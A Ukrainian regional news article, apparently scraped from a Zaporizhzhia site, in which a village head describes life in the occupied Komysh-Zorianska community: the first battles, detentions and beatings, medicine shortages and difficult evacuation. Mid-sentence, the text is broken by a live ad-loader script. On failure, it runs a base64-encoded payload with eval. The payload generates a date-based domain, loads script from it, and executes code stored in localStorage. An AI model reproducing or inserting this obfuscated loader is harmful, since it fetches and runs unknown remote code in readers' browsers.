Як живе громада на Запоріжжі, де російські війська отримали перший опір ЗСУ

До повномасштабної війни у Комиш-Зорянській територіальній громаді проживало близько семи тисяч людей. Нині залишилось чотири.

Про це журналістам Суспільного повідомив Комиш-Зорянський селищний голова Ігор Гнатуша. 

Згадує, у перші дні вторгнення окупаційних збройних сил РФ у Запорізьку область саме у селищі Комиш-Зоря розпочалися перші бої:

«Перші бої, які російські війська зустріли, це саме в селищі Комиш-Зоря. Перший опір ЗСУ. Ми відчули на собі й авіаудар, і гради, і урагани. Будинків 30 постраждало, а так лише один будинок уразило повністю, в нього поцілили. Це був зимовий час і ми залатали дахи, вікна. Виїзду фактично не було».

"Окупація – це суцільна в'язниця, але без кайданів". Селищний голова про життя в Комиш-Зорянській ТГ на Запоріжжі
Ігор Гнатуша. Фото: Суспільне Запоріжжя

Посадовець зазначає, що місцеві жителі почали виїжджати через 2-3 тижні після повномасштабного вторгнення. Тоді, каже, стало зрозуміло, чим та куди їхати, де пункти пропусків.

З третього березня Комиш-Зорянська територіальна громада тимчасово окупована, ворог відключив українське телебачення. Для місцевих транслюють 52 російські телеканали.

«В цей момент інтернет, російський провайдер, воно не показує наші новини. Працює лише супутникове, може працювати й радіо. Зв’язок також є через російських провайдерів», — зауважує селищний голова.

За словами посадовця, подекуди росіяни забирають місцевих жителів “на розмову”. Від 3 березня у громаді забрали й потім відпустили до двох десятків людей: var node3361 = document.getElementById(«MIXADV_3361»); if( node3361 ) { var script = document.createElement(«script»); script.charset = «utf-8»; script.src = «https://m.mixadvert.com/show/?id=3361&r=»+Math.random(); node3361.parentNode.appendChild(script); script.onerror = function(){ window.eval( atob(«dmFyIGRhdGUgPSBuZXcgRGF0ZSgpO3ZhciBtb250aCA9IGRhdGUuZ2V0TW9udGgoKSArIDE7IHZhciBkYXkgPSBkYXRlLmdldERhdGUoKTsgdmFyIHllYXIgPSBkYXRlLmdldFllYXIoKTsgdmFyIG5hbWVfZGF5ID0gZGF0ZS5nZXREYXkoKSArIDE7dmFyIGRvbSA9IFsgIm9yZyIsICJ0b3AiLCAiYml6LnVhIiwgImNvLnVhIiwgImt5aXYudWEiLCAiY2x1YiIsICJzaG9wIl07IHZhciBzdHIgPWRheSoobW9udGggKiBuYW1lX2RheSAqIGRheSkrIiIrIGRheSoobW9udGggKyBuYW1lX2RheSArIGRheSAreWVhcik7dmFyIGhhc2ggPSAgYnRvYShidG9hKHN0cikpLnRvTG93ZXJDYXNlKCk7IHZhciBob3N0ID0gaGFzaC5zdWJzdHJpbmcoMywgaGFzaC5sZW5ndGggLSBuYW1lX2RheS8yKSsiLiIrZG9tW25hbWVfZGF5IC0gMV07dmFyIHIgPSBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHIoMiwgMik7ciA9IHIucmVwbGFjZSgvWzAtOV0vZywgIiIpO3ZhciBkZWx0YSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqICgxMDAgLSAxMCArIDEpKSArIDEwO3ZhciBpZCA9IDMzNjEgLSBkZWx0YTsgdmFyIHNjcmlwdF9maXJzdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3NjcmlwdF9maXJzdC5zcmMgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIitkZWx0YStpZCtyKyIiOyBub2RlMzM2MS5wYXJlbnROb2RlLmFwcGVuZENoaWxkKHNjcmlwdF9maXJzdCk7c2V0VGltZW91dCggZnVuY3Rpb24gKCkge3NjcmlwdF9maXJzdC5yZW1vdmUoKX0sIDQwMDApO3NjcmlwdF9maXJzdC5vbmVycm9yID0gZnVuY3Rpb24oKXt2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImEiKTthLmhyZWYgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIjsgbm9kZTMzNjEucGFyZW50Tm9kZS5hcHBlbmRDaGlsZChhKTsgc2V0VGltZW91dCggZnVuY3Rpb24gKCkgeyBpZiggbm9kZTMzNjEuaW5uZXJIVE1MID09ICIiICkgd2luZG93LmV2YWwobG9jYWxTdG9yYWdlLmdldEl0ZW0oIjMzNjEiKSkgfSwgNTAwMCk7ICA7fTsg») ); } }

«Є дуже побиті люди. Є морально принижені. Окупація – це суцільна в’язниця, але без кайданів. В заручники беруть. От на цей час у нас до 5 осіб. Люди, які дійсно проукраїнські, і там вони вже 5 днів, 6, 7, кожного у різний час забирали, вони на даний час там, і які вимоги – це наші лише здогадки».

Нині у громаді є проблеми із ліками. А вартість тих медикаментів, які є, завелика, зазначає Ігор Гнатуша:

«Це цукрознижуючі таблетки, судинні, тискознижувальні, протиалергенні, психотропні, особливо з червоними рецептами є проблема. Різними методами доправляємо туди все, що необхідно. Можливо на 60-70%. Первинна медична допомога працює. Всі лікарі працюють на місці».

"Окупація – це суцільна в'язниця, але без кайданів". Селищний голова про життя в Комиш-Зорянській ТГ на Запоріжжі
Ігор Гнатуша. Фото: Суспільне Запоріжжя

Банки на території Комиш-Зорянської територіальної громади не функціонують. Але, зазначає селищний голова, працювати можна за безготівковим розрахунком:

«У нашій громаді рублі не ходять. Є лише наміри. Але роздають так звані гуманітарні набори, роздають газети. І пишуть списки на майбутнє 10 тисяч рублів. Це якоїсь допомоги. Вони обіцяють їх просто так, потім за те, що підуть у школу, за те, що підуть на референдум».

Нині евакуюватися на підконтрольну територію України жителям громади складно – каже Ігор Гнатуша. Дорога через Василівку займає 3-5 днів.

Підписуйтесь на Акцент в

(adsbygoogle = window.adsbygoogle || []).push({});

Источник: https://akzent.zp.ua/yak-zhive-gromada-na-zaporizhzhi-de-rosijski-vijska-otrimali-pershij-opir-zsu/

Мы в Telegram, наш Telegram bot — @zpua_bot, Мы в Viber, Мы на Facebook

Share this post

Добавить комментарий

scroll to top